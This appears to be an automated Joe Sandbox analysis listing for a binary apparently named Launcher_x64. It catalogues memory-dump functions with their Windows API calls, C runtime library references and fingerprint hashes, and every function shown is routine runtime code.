Instruction ID: e5d7c1af655b16d56e28a94e1cb4a9addef38e0bc111745f8a6133cc937802e8
Opcode Fuzzy Hash: 2ec70da9652abb6bdd633b8c01381a857fefd2f6d2565286116293291a31fba1
Instruction Fuzzy Hash: 07016735654719AFDB11DF54EC09BAEBBB9FF04714F044525E815E2290DB74A900CE70

Function 00D248CD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D24952
__alloca_probe_16.LIBCMT ref: 00D24A1B
__freea.LIBCMT ref: 00D24A82

Part of subcall function 00D231C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D122A9,?,?,00D03E32,00001000,?,00D03D7A), ref: 00D231F3

__freea.LIBCMT ref: 00D24A95
__freea.LIBCMT ref: 00D24AA2

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 4b1de6dcd2ea6e13a96e612734968aa3b157ff8699488378ad0d574931ebb3bd
Instruction ID: 522ea74b8b8b92e257baff6af0a9a0c4aa5246b3de6ef5b88db5fe28b39ccf13
Opcode Fuzzy Hash: 4b1de6dcd2ea6e13a96e612734968aa3b157ff8699488378ad0d574931ebb3bd
Instruction Fuzzy Hash: E851DD72640226BFEF219FA0EC81EBB7BA9EFA471CB194528FD04D6141EB34DD508674

Function 00D15C7F Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D15C93
AcquireSRWLockExclusive.KERNEL32(?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15CB2
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15CE0
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15D3B
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15D52

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: be4f5f76c6600673f5e90b10474af0180d5d624034890ce13cdf471623fb29e8
Instruction ID: 2fe007ec2ae3b29919d6f1aa116782c170f3e5f779d7c66d72c429cc5533a3a9
Opcode Fuzzy Hash: be4f5f76c6600673f5e90b10474af0180d5d624034890ce13cdf471623fb29e8
Instruction Fuzzy Hash: 18412935500B06EBCB20DF65F488AEAB7F5FB85310B544A1AD446D7658DB38E9C1CB70

Function 00D12956 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D1295D
std::_Lockit::_Lockit.LIBCPMT ref: 00D12968
std::_Lockit::~_Lockit.LIBCPMT ref: 00D129D6

Part of subcall function 00D1285F: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D12877

std::locale::_Setgloballocale.LIBCPMT ref: 00D12983
_Yarn.LIBCPMT ref: 00D12999

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: f14c2ab57d90c711de591b0ea83c426453b99cf7d8420bd6d91a8f1613fa77ad
Instruction ID: 76a489a8c026fec7fe1efccbbe83307c7f3a98cb3c21ae488df55c89ac1a9501
Opcode Fuzzy Hash: f14c2ab57d90c711de591b0ea83c426453b99cf7d8420bd6d91a8f1613fa77ad
Instruction Fuzzy Hash: 83017C79A40214AFCB06AF20E8429BD7B62FF85350B194008E81197391DF35AE92CFB5

Function 00D2DD31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D2DDCD,00000000,?,00D421B8,?,?,?,00D2DD04,00000004,InitializeCriticalSectionEx,00D3808C,00D38094), ref: 00D2DD3E
GetLastError.KERNEL32(?,00D2DDCD,00000000,?,00D421B8,?,?,?,00D2DD04,00000004,InitializeCriticalSectionEx,00D3808C,00D38094,00000000,?,00D22E6C), ref: 00D2DD48
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D2DD70

Strings

api-ms-, xrefs: 00D2DD55

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 44e5ac9e205425dcefed4b7b1ea7d3c8b159f58776e3b261bc9e4b5d3173b01e
Instruction ID: cf411c10601e986497639e82e497d116099122be281abcf075aec81f74ba3b21
Opcode Fuzzy Hash: 44e5ac9e205425dcefed4b7b1ea7d3c8b159f58776e3b261bc9e4b5d3173b01e
Instruction Fuzzy Hash: ACE04F702C4B05BBEB202B61FC0AB693B57AF20B45F184470F90CE81E1E762A825DD74

Function 00D2B0D7 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(E7FA7683,00000000,00000000,?), ref: 00D2B13A

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D2B38C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D2B3D2
GetLastError.KERNEL32 ref: 00D2B475

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 91efc4b3dc349f036759e78655448f343bff0943902e5ea2ff66c91b96fae4f7
Instruction ID: 0c8200099cb4d16fa262b94707e7af5a60e1da973d7b80af90394719c6045eb7
Opcode Fuzzy Hash: 91efc4b3dc349f036759e78655448f343bff0943902e5ea2ff66c91b96fae4f7
Instruction Fuzzy Hash: 2ED18DB5D00258DFCB05CFA8E8909ADBBB5FF59318F18412AE456EB352D770A942CF60

Function 00D2254D Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D22614
___AdjustPointer.LIBCMT ref: 00D22637
___AdjustPointer.LIBCMT ref: 00D226D3

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 37169549c7c5aa0f6cf29ecd41a60a588bce80b72d7210bf3fd30d84fbfd85d8
Instruction ID: e5e3a1b0967f8f95088b792858323ecb41f83be010375803340e090a0ee549c1
Opcode Fuzzy Hash: 37169549c7c5aa0f6cf29ecd41a60a588bce80b72d7210bf3fd30d84fbfd85d8
Instruction Fuzzy Hash: 3251F572504222BFDB248F14F841BBA73A5FF64719F184529F851872A1DB31ED94DBB0

Function 00D28F03 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

GetLastError.KERNEL32 ref: 00D28F67
__dosmaperr.LIBCMT ref: 00D28F6E
GetLastError.KERNEL32 ref: 00D28FA8
__dosmaperr.LIBCMT ref: 00D28FAF

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1c90443f78bdb872189eb8fbe34f563a4bf85e0364e26e584cb1ce7ae44292e7
Instruction ID: 84c9c3a8e16057573887fa0971a1fe60e7f2e816bb19d5465881b647f67841cf
Opcode Fuzzy Hash: 1c90443f78bdb872189eb8fbe34f563a4bf85e0364e26e584cb1ce7ae44292e7
Instruction Fuzzy Hash: 19210431205325BFDB10EF61F98086BB7AAFF243687048518F82987290DF30ED40ABB0

Function 00D197A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a013f09fc2fa8644d2ab08403b7f9f86a0b062ac2a26ebecda1dd6ade13177c
Instruction ID: 6a55163133050529413693b7ee9cf764962d4ccec5a9553350c2c02c323ae4f9
Opcode Fuzzy Hash: 1a013f09fc2fa8644d2ab08403b7f9f86a0b062ac2a26ebecda1dd6ade13177c
Instruction Fuzzy Hash: 4A216F71204205BF9B10AF65A8B1DEAB7A9FF45364B144528F85697251EF30EC90CBB0

Function 00D2A2F9 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D2A301

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D2A339
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D2A359

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c03f7d3827e309fc9e415943fc332ade3fc2625416bb2ddceaf4e9624d38a986
Instruction ID: bd63b618c3b535bb1dcd6fd3c5957e130e0d34b04d949a7a2a4ce0f4e8052a90
Opcode Fuzzy Hash: c03f7d3827e309fc9e415943fc332ade3fc2625416bb2ddceaf4e9624d38a986
Instruction Fuzzy Hash: 1A11A1B19053367FA71277F97C89C6F7A9CEF643AC3140124F401D1100FA28DE118576

Function 00D14399 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D143A0
std::_Lockit::_Lockit.LIBCPMT ref: 00D143AA

Part of subcall function 00D04D90: std::_Lockit::_Lockit.LIBCPMT ref: 00D04DBE
Part of subcall function 00D04D90: std::_Lockit::~_Lockit.LIBCPMT ref: 00D04DE9

codecvt.LIBCPMT ref: 00D143E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00D1441B

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 3ffe4eb0d84028237219adc892bac6fc0f81955bf8b3268a41265473ac276aac
Instruction ID: f945cd6f37ff4495ce8465d36ee8b8d5cefd69e773a097a0933bc13a6d962948
Opcode Fuzzy Hash: 3ffe4eb0d84028237219adc892bac6fc0f81955bf8b3268a41265473ac276aac
Instruction Fuzzy Hash: 6801A179900219ABCB05EB64F805BED7B61EF84724F244508F410A73D1CF709E80CBB0

Function 00D321E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000), ref: 00D321F7
GetLastError.KERNEL32(?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?,?,?,00D2AE0F,?), ref: 00D32203

Part of subcall function 00D32254: CloseHandle.KERNEL32(FFFFFFFE,00D32213,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?,?), ref: 00D32264

___initconout.LIBCMT ref: 00D32213

Part of subcall function 00D32235: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D321D1,00D316BC,?,?,00D2B4C9,?,00000000,00000000,?), ref: 00D32248

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?), ref: 00D32228

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f9f13d976561d17bf7d42ba22ad2bf1ad6dc44512de61e26377f7d0e21219566
Instruction ID: 7b6a2db611e65d82526a96c6f3fd5f12d89defa53f90b0387e07c3a5a4a79228
Opcode Fuzzy Hash: f9f13d976561d17bf7d42ba22ad2bf1ad6dc44512de61e26377f7d0e21219566
Instruction Fuzzy Hash: F4F01C3A400215BBCF222F91EC09AAA7F26FB093A1F054110FA18C5220C7728920EFB8

Function 00D27AE3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00D1D04D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00D27BA2
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00D1D04D,?,?,?,00000055,?,-00000050,?,?), ref: 00D27BD9

Strings

utf8, xrefs: 00D27CAB

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 815f3c6d89176750f160a63a57c2a0c7ee81b9d5eac64e1de8f3afb5bdced2f8
Instruction ID: a684d1ddf9c2066c4642cdb529d538a93ebfd6ec67fe451723e648d8d367294d
Opcode Fuzzy Hash: 815f3c6d89176750f160a63a57c2a0c7ee81b9d5eac64e1de8f3afb5bdced2f8
Instruction Fuzzy Hash: 09511671A08321AADB35AB71EC42FBA73A8EF64708F180469FA45DB181FB70D940D775

Function 00D22C4A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D22B4B,?,?,00000000,00000000,00000000,?), ref: 00D22C6F

Strings

MOC, xrefs: 00D22C81
RCC, xrefs: 00D22C89

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 085dbb4d49eb33809942be9a2e986f87e671d758556dd38fb71b11218ebb0e18
Instruction ID: 59674225448f26e6fe65cc4255fb2b84408fd8e463ce21aa2f9a658876acec4d
Opcode Fuzzy Hash: 085dbb4d49eb33809942be9a2e986f87e671d758556dd38fb71b11218ebb0e18
Instruction Fuzzy Hash: FE415B72900219BFCF15DF98ED81AEE7BB5FF68308F188099F90467221D3359961DBA1

Function 00D224B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D2272D

Strings

csm, xrefs: 00D2274F
csm, xrefs: 00D227C0

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ab442a48b86844931e46a82c5d08626745082cb09e4190d0b5adf3c61f8e3191
Instruction ID: 10cdc765b1db3b60bacc4045ddbd814b565e1eb8eeaab7d1dd4c98041baf4467
Opcode Fuzzy Hash: ab442a48b86844931e46a82c5d08626745082cb09e4190d0b5adf3c61f8e3191
Instruction Fuzzy Hash: 5031A136400229BBCF264F54E84187ABB66FF6871DB1C8559FC544A121C3B2DD61DBB2

Function 00D1308C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D13114
RaiseException.KERNEL32(?,?,?,?), ref: 00D13139

Part of subcall function 00D17223: RaiseException.KERNEL32(E06D7363,00000001,00000003,00D15F93,?,?,?,?,00D15F93,00001000,00D3E1AC,00001000), ref: 00D17284

Part of subcall function 00D1F7B9: IsProcessorFeaturePresent.KERNEL32(00000017,00D1A37B,?,?,?,?,00000000), ref: 00D1F7D5

Strings

csm, xrefs: 00D130C8

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
